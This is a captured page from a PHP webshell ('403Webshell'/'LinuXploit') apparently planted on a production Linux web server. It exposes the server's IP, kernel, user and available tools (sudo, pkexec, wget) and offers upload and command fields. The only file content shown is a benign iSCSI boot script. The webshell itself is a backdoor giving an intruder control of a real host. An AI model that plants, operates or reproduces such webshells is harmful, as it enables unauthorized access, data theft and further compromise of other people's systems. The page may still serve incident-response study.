403Webshell
Server IP : 152.69.216.235  /  Your IP : 80.80.80.28
Web Server : Apache/2.4.37 (Oracle Linux Server)
System : Linux ust-wp4-prod 5.15.0-310.184.5.2.el8uek.x86_64 #2 SMP Wed Jul 9 16:08:33 PDT 2025 x86_64
User : apache ( 48)
PHP Version : 8.4.10
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/libexec/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/libexec/iscsi-mark-root-nodes
#!/bin/bash

ISCSIADM=/usr/sbin/iscsiadm
start_iscsid=0
start_iscsiuio=0

iscsi_restart=$(systemctl show iscsi.service -p ActiveExitTimestampMonotonic)
if [ $? -eq 0 ] ; then
  iscsi_restart=${iscsi_restart#*=}
else
  iscsi_restart=1
fi

if systemctl is-system-running | grep -qE "initializing|starting" &&
 [ $iscsi_restart -eq 0 ]; then
  while read t num p target flash; do
    # strip tag number from portal, keep "ip:port"
    portal=${p%,*}
    transport=${t%:}

    # use session number to find the iface name in use
    num=${num#[}; num=${num%]}
    iface=$(iscsiadm -m session -r $num | grep iface.iscsi_ifacename | cut -d= -f2)

    $ISCSIADM -m node -p $portal -T $target -I $iface -o update -n node.startup -v onboot

    start_iscsid=1

    if [ "$transport" = bnx2i ] || [ "$transport" = qedi ]; then
      start_iscsiuio=1
    fi
  done < <( $ISCSIADM -m session )
fi

# force iscsid and iscsiuio to start if needed for
# recovering sessions created in the initrd

if [ "$start_iscsid" -eq 1 ]; then
  systemctl --no-block start iscsid.service
fi
if [ "$start_iscsiuio" -eq 1 ]; then
  systemctl --no-block start iscsiuio.service
fi


Youez - 2016 - github.com/yon3zu
LinuXploit